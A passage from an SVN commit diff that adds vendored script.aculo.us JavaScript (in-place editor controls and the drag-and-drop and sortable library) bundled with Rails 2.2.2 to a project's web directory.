+    $H(Ajax.InPlaceEditor.Listeners).each(function(pair) {
+      listener = this[pair.value].bind(this);
+      this._listeners[pair.key] = listener;
+      if (!this.options.externalControlOnly)
+        this.element.observe(pair.key, listener);
+      if (this.options.externalControl)
+        this.options.externalControl.observe(pair.key, listener);
+    }.bind(this));
+  },
+  removeForm: function() {
+    if (!this._form) return;
+    this._form.remove();
+    this._form = null;
+    this._controls = { };
+  },
+  showSaving: function() {
+    this._oldInnerHTML = this.element.innerHTML;
+    this.element.innerHTML = this.options.savingText;
+    this.element.addClassName(this.options.savingClassName);
+    this.element.style.backgroundColor = this._originalBackground;
+    this.element.show();
+  },
+  triggerCallback: function(cbName, arg) {
+    if ('function' == typeof this.options[cbName]) {
+      this.options[cbName](this, arg);
+    }
+  },
+  unregisterListeners: function() {
+    $H(this._listeners).each(function(pair) {
+      if (!this.options.externalControlOnly)
+        this.element.stopObserving(pair.key, pair.value);
+      if (this.options.externalControl)
+        this.options.externalControl.stopObserving(pair.key, pair.value);
+    }.bind(this));
+  },
+  wrapUp: function(transport) {
+    this.leaveEditMode();
+    // Can't use triggerCallback due to backward compatibility: requires
+    // binding + direct element
+    this._boundComplete(transport, this.element);
+  }
+});
+
+Object.extend(Ajax.InPlaceEditor.prototype, {
+  dispose: Ajax.InPlaceEditor.prototype.destroy
+});
+
+Ajax.InPlaceCollectionEditor = Class.create(Ajax.InPlaceEditor, {
+  initialize: function($super, element, url, options) {
+    this._extraDefaultOptions = Ajax.InPlaceCollectionEditor.DefaultOptions;
+    $super(element, url, options);
+  },
+
+  createEditField: function() {
+    var list = document.createElement('select');
+    list.name = this.options.paramName;
+    list.size = 1;
+    this._controls.editor = list;
+    this._collection = this.options.collection || [];
+    if (this.options.loadCollectionURL)
+      this.loadCollection();
+    else
+      this.checkForExternalText();
+    this._form.appendChild(this._controls.editor);
+  },
+
+  loadCollection: function() {
+    this._form.addClassName(this.options.loadingClassName);
+    this.showLoadingText(this.options.loadingCollectionText);
+    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
+    Object.extend(options, {
+      parameters: 'editorId=' + encodeURIComponent(this.element.id),
+      onComplete: Prototype.emptyFunction,
+      onSuccess: function(transport) {
+        var js = transport.responseText.strip();
+        if (!/^\[.*\]$/.test(js)) // TODO: improve sanity check
+          throw('Server returned an invalid collection representation.');
+        this._collection = eval(js);
+        this.checkForExternalText();
+      }.bind(this),
+      onFailure: this.onFailure
+    });
+    new Ajax.Request(this.options.loadCollectionURL, options);
+  },
+
+  showLoadingText: function(text) {
+    this._controls.editor.disabled = true;
+    var tempOption = this._controls.editor.firstChild;
+    if (!tempOption) {
+      tempOption = document.createElement('option');
+      tempOption.value = '';
+      this._controls.editor.appendChild(tempOption);
+      tempOption.selected = true;
+    }
+    tempOption.update((text || '').stripScripts().stripTags());
+  },
+
+  checkForExternalText: function() {
+    this._text = this.getText();
+    if (this.options.loadTextURL)
+      this.loadExternalText();
+    else
+      this.buildOptionList();
+  },
+
+  loadExternalText: function() {
+    this.showLoadingText(this.options.loadingText);
+    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
+    Object.extend(options, {
+      parameters: 'editorId=' + encodeURIComponent(this.element.id),
+      onComplete: Prototype.emptyFunction,
+      onSuccess: function(transport) {
+        this._text = transport.responseText.strip();
+        this.buildOptionList();
+      }.bind(this),
+      onFailure: this.onFailure
+    });
+    new Ajax.Request(this.options.loadTextURL, options);
+  },
+
+  buildOptionList: function() {
+    this._form.removeClassName(this.options.loadingClassName);
+    this._collection = this._collection.map(function(entry) {
+      return 2 === entry.length ? entry : [entry, entry].flatten();
+    });
+    var marker = ('value' in this.options) ? this.options.value : this._text;
+    var textFound = this._collection.any(function(entry) {
+      return entry[0] == marker;
+    }.bind(this));
+    this._controls.editor.update('');
+    var option;
+    this._collection.each(function(entry, index) {
+      option = document.createElement('option');
+      option.value = entry[0];
+      option.selected = textFound ? entry[0] == marker : 0 == index;
+      option.appendChild(document.createTextNode(entry[1]));
+      this._controls.editor.appendChild(option);
+    }.bind(this));
+    this._controls.editor.disabled = false;
+    Field.scrollFreeActivate(this._controls.editor);
+  }
+});
+
+//**** DEPRECATION LAYER FOR InPlace[Collection]Editor! ****
+//**** This only  exists for a while,  in order to  let ****
+//**** users adapt to  the new API.  Read up on the new ****
+//**** API and convert your code to it ASAP!            ****
+
+Ajax.InPlaceEditor.prototype.initialize.dealWithDeprecatedOptions = function(options) {
+  if (!options) return;
+  function fallback(name, expr) {
+    if (name in options || expr === undefined) return;
+    options[name] = expr;
+  };
+  fallback('cancelControl', (options.cancelLink ? 'link' : (options.cancelButton ? 'button' :
+    options.cancelLink == options.cancelButton == false ? false : undefined)));
+  fallback('okControl', (options.okLink ? 'link' : (options.okButton ? 'button' :
+    options.okLink == options.okButton == false ? false : undefined)));
+  fallback('highlightColor', options.highlightcolor);
+  fallback('highlightEndColor', options.highlightendcolor);
+};
+
+Object.extend(Ajax.InPlaceEditor, {
+  DefaultOptions: {
+    ajaxOptions: { },
+    autoRows: 3,                                // Use when multi-line w/ rows == 1
+    cancelControl: 'link',                      // 'link'|'button'|false
+    cancelText: 'cancel',
+    clickToEditText: 'Click to edit',
+    externalControl: null,                      // id|elt
+    externalControlOnly: false,
+    fieldPostCreation: 'activate',              // 'activate'|'focus'|false
+    formClassName: 'inplaceeditor-form',
+    formId: null,                               // id|elt
+    highlightColor: '#ffff99',
+    highlightEndColor: '#ffffff',
+    hoverClassName: '',
+    htmlResponse: true,
+    loadingClassName: 'inplaceeditor-loading',
+    loadingText: 'Loading...',
+    okControl: 'button',                        // 'link'|'button'|false
+    okText: 'ok',
+    paramName: 'value',
+    rows: 1,                                    // If 1 and multi-line, uses autoRows
+    savingClassName: 'inplaceeditor-saving',
+    savingText: 'Saving...',
+    size: 0,
+    stripLoadedTextTags: false,
+    submitOnBlur: false,
+    textAfterControls: '',
+    textBeforeControls: '',
+    textBetweenControls: ''
+  },
+  DefaultCallbacks: {
+    callback: function(form) {
+      return Form.serialize(form);
+    },
+    onComplete: function(transport, element) {
+      // For backward compatibility, this one is bound to the IPE, and passes
+      // the element directly.  It was too often customized, so we don't break it.
+      new Effect.Highlight(element, {
+        startcolor: this.options.highlightColor, keepBackgroundImage: true });
+    },
+    onEnterEditMode: null,
+    onEnterHover: function(ipe) {
+      ipe.element.style.backgroundColor = ipe.options.highlightColor;
+      if (ipe._effect)
+        ipe._effect.cancel();
+    },
+    onFailure: function(transport, ipe) {
+      alert('Error communication with the server: ' + transport.responseText.stripTags());
+    },
+    onFormCustomization: null, // Takes the IPE and its generated form, after editor, before controls.
+    onLeaveEditMode: null,
+    onLeaveHover: function(ipe) {
+      ipe._effect = new Effect.Highlight(ipe.element, {
+        startcolor: ipe.options.highlightColor, endcolor: ipe.options.highlightEndColor,
+        restorecolor: ipe._originalBackground, keepBackgroundImage: true
+      });
+    }
+  },
+  Listeners: {
+    click: 'enterEditMode',
+    keydown: 'checkForEscapeOrReturn',
+    mouseover: 'enterHover',
+    mouseout: 'leaveHover'
+  }
+});
+
+Ajax.InPlaceCollectionEditor.DefaultOptions = {
+  loadingCollectionText: 'Loading options...'
+};
+
+// Delayed observer, like Form.Element.Observer,
+// but waits for delay after last key input
+// Ideal for live-search fields
+
+Form.Element.DelayedObserver = Class.create({
+  initialize: function(element, delay, callback) {
+    this.delay     = delay || 0.5;
+    this.element   = $(element);
+    this.callback  = callback;
+    this.timer     = null;
+    this.lastValue = $F(this.element);
+    Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this));
+  },
+  delayedListener: function(event) {
+    if(this.lastValue == $F(this.element)) return;
+    if(this.timer) clearTimeout(this.timer);
+    this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000);
+    this.lastValue = $F(this.element);
+  },
+  onTimerEvent: function() {
+    this.timer = null;
+    this.callback(this.element, $F(this.element));
+  }
+});
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/dragdrop.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/dragdrop.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/dragdrop.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,973 @@
+// Copyright (c) 2005-2008 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+//           (c) 2005-2008 Sammi Williams (http://www.oriontransfer.co.nz, sammi at oriontransfer.co.nz)
+//
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+if(Object.isUndefined(Effect))
+  throw("dragdrop.js requires including script.aculo.us' effects.js library");
+
+var Droppables = {
+  drops: [],
+
+  remove: function(element) {
+    this.drops = this.drops.reject(function(d) { return d.element==$(element) });
+  },
+
+  add: function(element) {
+    element = $(element);
+    var options = Object.extend({
+      greedy:     true,
+      hoverclass: null,
+      tree:       false
+    }, arguments[1] || { });
+
+    // cache containers
+    if(options.containment) {
+      options._containers = [];
+      var containment = options.containment;
+      if(Object.isArray(containment)) {
+        containment.each( function(c) { options._containers.push($(c)) });
+      } else {
+        options._containers.push($(containment));
+      }
+    }
+
+    if(options.accept) options.accept = [options.accept].flatten();
+
+    Element.makePositioned(element); // fix IE
+    options.element = element;
+
+    this.drops.push(options);
+  },
+
+  findDeepestChild: function(drops) {
+    deepest = drops[0];
+
+    for (i = 1; i < drops.length; ++i)
+      if (Element.isParent(drops[i].element, deepest.element))
+        deepest = drops[i];
+
+    return deepest;
+  },
+
+  isContained: function(element, drop) {
+    var containmentNode;
+    if(drop.tree) {
+      containmentNode = element.treeNode;
+    } else {
+      containmentNode = element.parentNode;
+    }
+    return drop._containers.detect(function(c) { return containmentNode == c });
+  },
+
+  isAffected: function(point, element, drop) {
+    return (
+      (drop.element!=element) &&
+      ((!drop._containers) ||
+        this.isContained(element, drop)) &&
+      ((!drop.accept) ||
+        (Element.classNames(element).detect(
+          function(v) { return drop.accept.include(v) } ) )) &&
+      Position.within(drop.element, point[0], point[1]) );
+  },
+
+  deactivate: function(drop) {
+    if(drop.hoverclass)
+      Element.removeClassName(drop.element, drop.hoverclass);
+    this.last_active = null;
+  },
+
+  activate: function(drop) {
+    if(drop.hoverclass)
+      Element.addClassName(drop.element, drop.hoverclass);
+    this.last_active = drop;
+  },
+
+  show: function(point, element) {
+    if(!this.drops.length) return;
+    var drop, affected = [];
+
+    this.drops.each( function(drop) {
+      if(Droppables.isAffected(point, element, drop))
+        affected.push(drop);
+    });
+
+    if(affected.length>0)
+      drop = Droppables.findDeepestChild(affected);
+
+    if(this.last_active && this.last_active != drop) this.deactivate(this.last_active);
+    if (drop) {
+      Position.within(drop.element, point[0], point[1]);
+      if(drop.onHover)
+        drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element));
+
+      if (drop != this.last_active) Droppables.activate(drop);
+    }
+  },
+
+  fire: function(event, element) {
+    if(!this.last_active) return;
+    Position.prepare();
+
+    if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active))
+      if (this.last_active.onDrop) {
+        this.last_active.onDrop(element, this.last_active.element, event);
+        return true;
+      }
+  },
+
+  reset: function() {
+    if(this.last_active)
+      this.deactivate(this.last_active);
+  }
+};
+
+var Draggables = {
+  drags: [],
+  observers: [],
+
+  register: function(draggable) {
+    if(this.drags.length == 0) {
+      this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
+      this.eventMouseMove = this.updateDrag.bindAsEventListener(this);
+      this.eventKeypress  = this.keyPress.bindAsEventListener(this);
+
+      Event.observe(document, "mouseup", this.eventMouseUp);
+      Event.observe(document, "mousemove", this.eventMouseMove);
+      Event.observe(document, "keypress", this.eventKeypress);
+    }
+    this.drags.push(draggable);
+  },
+
+  unregister: function(draggable) {
+    this.drags = this.drags.reject(function(d) { return d==draggable });
+    if(this.drags.length == 0) {
+      Event.stopObserving(document, "mouseup", this.eventMouseUp);
+      Event.stopObserving(document, "mousemove", this.eventMouseMove);
+      Event.stopObserving(document, "keypress", this.eventKeypress);
+    }
+  },
+
+  activate: function(draggable) {
+    if(draggable.options.delay) {
+      this._timeout = setTimeout(function() {
+        Draggables._timeout = null;
+        window.focus();
+        Draggables.activeDraggable = draggable;
+      }.bind(this), draggable.options.delay);
+    } else {
+      window.focus(); // allows keypress events if window isn't currently focused, fails for Safari
+      this.activeDraggable = draggable;
+    }
+  },
+
+  deactivate: function() {
+    this.activeDraggable = null;
+  },
+
+  updateDrag: function(event) {
+    if(!this.activeDraggable) return;
+    var pointer = [Event.pointerX(event), Event.pointerY(event)];
+    // Mozilla-based browsers fire successive mousemove events with
+    // the same coordinates, prevent needless redrawing (moz bug?)
+    if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return;
+    this._lastPointer = pointer;
+
+    this.activeDraggable.updateDrag(event, pointer);
+  },
+
+  endDrag: function(event) {
+    if(this._timeout) {
+      clearTimeout(this._timeout);
+      this._timeout = null;
+    }
+    if(!this.activeDraggable) return;
+    this._lastPointer = null;
+    this.activeDraggable.endDrag(event);
+    this.activeDraggable = null;
+  },
+
+  keyPress: function(event) {
+    if(this.activeDraggable)
+      this.activeDraggable.keyPress(event);
+  },
+
+  addObserver: function(observer) {
+    this.observers.push(observer);
+    this._cacheObserverCallbacks();
+  },
+
+  removeObserver: function(element) {  // element instead of observer fixes mem leaks
+    this.observers = this.observers.reject( function(o) { return o.element==element });
+    this._cacheObserverCallbacks();
+  },
+
+  notify: function(eventName, draggable, event) {  // 'onStart', 'onEnd', 'onDrag'
+    if(this[eventName+'Count'] > 0)
+      this.observers.each( function(o) {
+        if(o[eventName]) o[eventName](eventName, draggable, event);
+      });
+    if(draggable.options[eventName]) draggable.options[eventName](draggable, event);
+  },
+
+  _cacheObserverCallbacks: function() {
+    ['onStart','onEnd','onDrag'].each( function(eventName) {
+      Draggables[eventName+'Count'] = Draggables.observers.select(
+        function(o) { return o[eventName]; }
+      ).length;
+    });
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+var Draggable = Class.create({
+  initialize: function(element) {
+    var defaults = {
+      handle: false,
+      reverteffect: function(element, top_offset, left_offset) {
+        var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02;
+        new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur,
+          queue: {scope:'_draggable', position:'end'}
+        });
+      },
+      endeffect: function(element) {
+        var toOpacity = Object.isNumber(element._opacity) ? element._opacity : 1.0;
+        new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity,
+          queue: {scope:'_draggable', position:'end'},
+          afterFinish: function(){
+            Draggable._dragging[element] = false
+          }
+        });
+      },
+      zindex: 1000,
+      revert: false,
+      quiet: false,
+      scroll: false,
+      scrollSensitivity: 20,
+      scrollSpeed: 15,
+      snap: false,  // false, or xy or [x,y] or function(x,y){ return [x,y] }
+      delay: 0
+    };
+
+    if(!arguments[1] || Object.isUndefined(arguments[1].endeffect))
+      Object.extend(defaults, {
+        starteffect: function(element) {
+          element._opacity = Element.getOpacity(element);
+          Draggable._dragging[element] = true;
+          new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7});
+        }
+      });
+
+    var options = Object.extend(defaults, arguments[1] || { });
+
+    this.element = $(element);
+
+    if(options.handle && Object.isString(options.handle))
+      this.handle = this.element.down('.'+options.handle, 0);
+
+    if(!this.handle) this.handle = $(options.handle);
+    if(!this.handle) this.handle = this.element;
+
+    if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) {
+      options.scroll = $(options.scroll);
+      this._isScrollChild = Element.childOf(this.element, options.scroll);
+    }
+
+    Element.makePositioned(this.element); // fix IE
+
+    this.options  = options;
+    this.dragging = false;
+
+    this.eventMouseDown = this.initDrag.bindAsEventListener(this);
+    Event.observe(this.handle, "mousedown", this.eventMouseDown);
+
+    Draggables.register(this);
+  },
+
+  destroy: function() {
+    Event.stopObserving(this.handle, "mousedown", this.eventMouseDown);
+    Draggables.unregister(this);
+  },
+
+  currentDelta: function() {
+    return([
+      parseInt(Element.getStyle(this.element,'left') || '0'),
+      parseInt(Element.getStyle(this.element,'top') || '0')]);
+  },
+
+  initDrag: function(event) {
+    if(!Object.isUndefined(Draggable._dragging[this.element]) &&
+      Draggable._dragging[this.element]) return;
+    if(Event.isLeftClick(event)) {
+      // abort on form elements, fixes a Firefox issue
+      var src = Event.element(event);
+      if((tag_name = src.tagName.toUpperCase()) && (
+        tag_name=='INPUT' ||
+        tag_name=='SELECT' ||
+        tag_name=='OPTION' ||
+        tag_name=='BUTTON' ||
+        tag_name=='TEXTAREA')) return;
+
+      var pointer = [Event.pointerX(event), Event.pointerY(event)];
+      var pos     = Position.cumulativeOffset(this.element);
+      this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) });
+
+      Draggables.activate(this);
+      Event.stop(event);
+    }
+  },
+
+  startDrag: function(event) {
+    this.dragging = true;
+    if(!this.delta)
+      this.delta = this.currentDelta();
+
+    if(this.options.zindex) {
+      this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0);
+      this.element.style.zIndex = this.options.zindex;
+    }
+
+    if(this.options.ghosting) {
+      this._clone = this.element.cloneNode(true);
+      this._originallyAbsolute = (this.element.getStyle('position') == 'absolute');
+      if (!this._originallyAbsolute)
+        Position.absolutize(this.element);
+      this.element.parentNode.insertBefore(this._clone, this.element);
+    }
+
+    if(this.options.scroll) {
+      if (this.options.scroll == window) {
+        var where = this._getWindowScroll(this.options.scroll);
+        this.originalScrollLeft = where.left;
+        this.originalScrollTop = where.top;
+      } else {
+        this.originalScrollLeft = this.options.scroll.scrollLeft;
+        this.originalScrollTop = this.options.scroll.scrollTop;
+      }
+    }
+
+    Draggables.notify('onStart', this, event);
+
+    if(this.options.starteffect) this.options.starteffect(this.element);
+  },
+
+  updateDrag: function(event, pointer) {
+    if(!this.dragging) this.startDrag(event);
+
+    if(!this.options.quiet){
+      Position.prepare();
+      Droppables.show(pointer, this.element);
+    }
+
+    Draggables.notify('onDrag', this, event);
+
+    this.draw(pointer);
+    if(this.options.change) this.options.change(this);
+
+    if(this.options.scroll) {
+      this.stopScrolling();
+
+      var p;
+      if (this.options.scroll == window) {
+        with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; }
+      } else {
+        p = Position.page(this.options.scroll);
+        p[0] += this.options.scroll.scrollLeft + Position.deltaX;
+        p[1] += this.options.scroll.scrollTop + Position.deltaY;
+        p.push(p[0]+this.options.scroll.offsetWidth);
+        p.push(p[1]+this.options.scroll.offsetHeight);
+      }
+      var speed = [0,0];
+      if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity);
+      if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity);
+      if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity);
+      if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity);
+      this.startScrolling(speed);
+    }
+
+    // fix AppleWebKit rendering
+    if(Prototype.Browser.WebKit) window.scrollBy(0,0);
+
+    Event.stop(event);
+  },
+
+  finishDrag: function(event, success) {
+    this.dragging = false;
+
+    if(this.options.quiet){
+      Position.prepare();
+      var pointer = [Event.pointerX(event), Event.pointerY(event)];
+      Droppables.show(pointer, this.element);
+    }
+
+    if(this.options.ghosting) {
+      if (!this._originallyAbsolute)
+        Position.relativize(this.element);
+      delete this._originallyAbsolute;
+      Element.remove(this._clone);
+      this._clone = null;
+    }
+
+    var dropped = false;
+    if(success) {
+      dropped = Droppables.fire(event, this.element);
+      if (!dropped) dropped = false;
+    }
+    if(dropped && this.options.onDropped) this.options.onDropped(this.element);
+    Draggables.notify('onEnd', this, event);
+
+    var revert = this.options.revert;
+    if(revert && Object.isFunction(revert)) revert = revert(this.element);
+
+    var d = this.currentDelta();
+    if(revert && this.options.reverteffect) {
+      if (dropped == 0 || revert != 'failure')
+        this.options.reverteffect(this.element,
+          d[1]-this.delta[1], d[0]-this.delta[0]);
+    } else {
+      this.delta = d;
+    }
+
+    if(this.options.zindex)
+      this.element.style.zIndex = this.originalZ;
+
+    if(this.options.endeffect)
+      this.options.endeffect(this.element);
+
+    Draggables.deactivate(this);
+    Droppables.reset();
+  },
+
+  keyPress: function(event) {
+    if(event.keyCode!=Event.KEY_ESC) return;
+    this.finishDrag(event, false);
+    Event.stop(event);
+  },
+
+  endDrag: function(event) {
+    if(!this.dragging) return;
+    this.stopScrolling();
+    this.finishDrag(event, true);
+    Event.stop(event);
+  },
+
+  draw: function(point) {
+    var pos = Position.cumulativeOffset(this.element);
+    if(this.options.ghosting) {
+      var r   = Position.realOffset(this.element);
+      pos[0] += r[0] - Position.deltaX; pos[1] += r[1] - Position.deltaY;
+    }
+
+    var d = this.currentDelta();
+    pos[0] -= d[0]; pos[1] -= d[1];
+
+    if(this.options.scroll && (this.options.scroll != window && this._isScrollChild)) {
+      pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft;
+      pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop;
+    }
+
+    var p = [0,1].map(function(i){
+      return (point[i]-pos[i]-this.offset[i])
+    }.bind(this));
+
+    if(this.options.snap) {
+      if(Object.isFunction(this.options.snap)) {
+        p = this.options.snap(p[0],p[1],this);
+      } else {
+      if(Object.isArray(this.options.snap)) {
+        p = p.map( function(v, i) {
+          return (v/this.options.snap[i]).round()*this.options.snap[i] }.bind(this));
+      } else {
+        p = p.map( function(v) {
+          return (v/this.options.snap).round()*this.options.snap }.bind(this));
+      }
+    }}
+
+    var style = this.element.style;
+    if((!this.options.constraint) || (this.options.constraint=='horizontal'))
+      style.left = p[0] + "px";
+    if((!this.options.constraint) || (this.options.constraint=='vertical'))
+      style.top  = p[1] + "px";
+
+    if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering
+  },
+
+  stopScrolling: function() {
+    if(this.scrollInterval) {
+      clearInterval(this.scrollInterval);
+      this.scrollInterval = null;
+      Draggables._lastScrollPointer = null;
+    }
+  },
+
+  startScrolling: function(speed) {
+    if(!(speed[0] || speed[1])) return;
+    this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed];
+    this.lastScrolled = new Date();
+    this.scrollInterval = setInterval(this.scroll.bind(this), 10);
+  },
+
+  scroll: function() {
+    var current = new Date();
+    var delta = current - this.lastScrolled;
+    this.lastScrolled = current;
+    if(this.options.scroll == window) {
+      with (this._getWindowScroll(this.options.scroll)) {
+        if (this.scrollSpeed[0] || this.scrollSpeed[1]) {
+          var d = delta / 1000;
+          this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] );
+        }
+      }
+    } else {
+      this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000;
+      this.options.scroll.scrollTop  += this.scrollSpeed[1] * delta / 1000;
+    }
+
+    Position.prepare();
+    Droppables.show(Draggables._lastPointer, this.element);
+    Draggables.notify('onDrag', this);
+    if (this._isScrollChild) {
+      Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer);
+      Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000;
+      Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000;
+      if (Draggables._lastScrollPointer[0] < 0)
+        Draggables._lastScrollPointer[0] = 0;
+      if (Draggables._lastScrollPointer[1] < 0)
+        Draggables._lastScrollPointer[1] = 0;
+      this.draw(Draggables._lastScrollPointer);
+    }
+
+    if(this.options.change) this.options.change(this);
+  },
+
+  _getWindowScroll: function(w) {
+    var T, L, W, H;
+    with (w.document) {
+      if (w.document.documentElement && documentElement.scrollTop) {
+        T = documentElement.scrollTop;
+        L = documentElement.scrollLeft;
+      } else if (w.document.body) {
+        T = body.scrollTop;
+        L = body.scrollLeft;
+      }
+      if (w.innerWidth) {
+        W = w.innerWidth;
+        H = w.innerHeight;
+      } else if (w.document.documentElement && documentElement.clientWidth) {
+        W = documentElement.clientWidth;
+        H = documentElement.clientHeight;
+      } else {
+        W = body.offsetWidth;
+        H = body.offsetHeight;
+      }
+    }
+    return { top: T, left: L, width: W, height: H };
+  }
+});
+
+Draggable._dragging = { };
+
+/*--------------------------------------------------------------------------*/
+
+var SortableObserver = Class.create({
+  initialize: function(element, observer) {
+    this.element   = $(element);
+    this.observer  = observer;
+    this.lastValue = Sortable.serialize(this.element);
+  },
+
+  onStart: function() {
+    this.lastValue = Sortable.serialize(this.element);
+  },
+
+  onEnd: function() {
+    Sortable.unmark();
+    if(this.lastValue != Sortable.serialize(this.element))
+      this.observer(this.element)
+  }
+});
+
+var Sortable = {
+  SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/,
+
+  sortables: { },
+
+  _findRootElement: function(element) {
+    while (element.tagName.toUpperCase() != "BODY") {
+      if(element.id && Sortable.sortables[element.id]) return element;
+      element = element.parentNode;
+    }
+  },
+
+  options: function(element) {
+    element = Sortable._findRootElement($(element));
+    if(!element) return;
+    return Sortable.sortables[element.id];
+  },
+
+  destroy: function(element){
+    element = $(element);
+    var s = Sortable.sortables[element.id];
+
+    if(s) {
+      Draggables.removeObserver(s.element);
+      s.droppables.each(function(d){ Droppables.remove(d) });
+      s.draggables.invoke('destroy');
+
+      delete Sortable.sortables[s.element.id];
+    }
+  },
+
+  create: function(element) {
+    element = $(element);
+    var options = Object.extend({
+      element:     element,
+      tag:         'li',       // assumes li children, override with tag: 'tagname'
+      dropOnEmpty: false,
+      tree:        false,
+      treeTag:     'ul',
+      overlap:     'vertical', // one of 'vertical', 'horizontal'
+      constraint:  'vertical', // one of 'vertical', 'horizontal', false
+      containment: element,    // also takes array of elements (or id's); or false
+      handle:      false,      // or a CSS class
+      only:        false,
+      delay:       0,
+      hoverclass:  null,
+      ghosting:    false,
+      quiet:       false,
+      scroll:      false,
+      scrollSensitivity: 20,
+      scrollSpeed: 15,
+      format:      this.SERIALIZE_RULE,
+
+      // these take arrays of elements or ids and can be
+      // used for better initialization performance
+      elements:    false,
+      handles:     false,
+
+      onChange:    Prototype.emptyFunction,
+      onUpdate:    Prototype.emptyFunction
+    }, arguments[1] || { });
+
+    // clear any old sortable with same element
+    this.destroy(element);
+
+    // build options for the draggables
+    var options_for_draggable = {
+      revert:      true,
+      quiet:       options.quiet,
+      scroll:      options.scroll,
+      scrollSpeed: options.scrollSpeed,
+      scrollSensitivity: options.scrollSensitivity,
+      delay:       options.delay,
+      ghosting:    options.ghosting,
+      constraint:  options.constraint,
+      handle:      options.handle };
+
+    if(options.starteffect)
+      options_for_draggable.starteffect = options.starteffect;
+
+    if(options.reverteffect)
+      options_for_draggable.reverteffect = options.reverteffect;
+    else
+      if(options.ghosting) options_for_draggable.reverteffect = function(element) {
+        element.style.top  = 0;
+        element.style.left = 0;
+      };
+
+    if(options.endeffect)
+      options_for_draggable.endeffect = options.endeffect;
+
+    if(options.zindex)
+      options_for_draggable.zindex = options.zindex;
+
+    // build options for the droppables
+    var options_for_droppable = {
+      overlap:     options.overlap,
+      containment: options.containment,
+      tree:        options.tree,
+      hoverclass:  options.hoverclass,
+      onHover:     Sortable.onHover
+    };
+
+    var options_for_tree = {
+      onHover:      Sortable.onEmptyHover,
+      overlap:      options.overlap,
+      containment:  options.containment,
+      hoverclass:   options.hoverclass
+    };
+
+    // fix for gecko engine
+    Element.cleanWhitespace(element);
+
+    options.draggables = [];
+    options.droppables = [];
+
+    // drop on empty handling
+    if(options.dropOnEmpty || options.tree) {
+      Droppables.add(element, options_for_tree);
+      options.droppables.push(element);
+    }
+
+    (options.elements || this.findElements(element, options) || []).each( function(e,i) {
+      var handle = options.handles ? $(options.handles[i]) :
+        (options.handle ? $(e).select('.' + options.handle)[0] : e);
+      options.draggables.push(
+        new Draggable(e, Object.extend(options_for_draggable, { handle: handle })));
+      Droppables.add(e, options_for_droppable);
+      if(options.tree) e.treeNode = element;
+      options.droppables.push(e);
+    });
+
+    if(options.tree) {
+      (Sortable.findTreeElements(element, options) || []).each( function(e) {
+        Droppables.add(e, options_for_tree);
+        e.treeNode = element;
+        options.droppables.push(e);
+      });
+    }
+
+    // keep reference
+    this.sortables[element.id] = options;
+
+    // for onupdate
+    Draggables.addObserver(new SortableObserver(element, options.onUpdate));
+
+  },
+
+  // return all suitable-for-sortable elements in a guaranteed order
+  findElements: function(element, options) {
+    return Element.findChildren(
+      element, options.only, options.tree ? true : false, options.tag);
+  },
+
+  findTreeElements: function(element, options) {
+    return Element.findChildren(
+      element, options.only, options.tree ? true : false, options.treeTag);
+  },
+
+  onHover: function(element, dropon, overlap) {
+    if(Element.isParent(dropon, element)) return;
+
+    if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) {
+      return;
+    } else if(overlap>0.5) {
+      Sortable.mark(dropon, 'before');
+      if(dropon.previousSibling != element) {
+        var oldParentNode = element.parentNode;
+        element.style.visibility = "hidden"; // fix gecko rendering
+        dropon.parentNode.insertBefore(element, dropon);
+        if(dropon.parentNode!=oldParentNode)
+          Sortable.options(oldParentNode).onChange(element);
+        Sortable.options(dropon.parentNode).onChange(element);
+      }
+    } else {
+      Sortable.mark(dropon, 'after');
+      var nextElement = dropon.nextSibling || null;
+      if(nextElement != element) {
+        var oldParentNode = element.parentNode;
+        element.style.visibility = "hidden"; // fix gecko rendering
+        dropon.parentNode.insertBefore(element, nextElement);
+        if(dropon.parentNode!=oldParentNode)
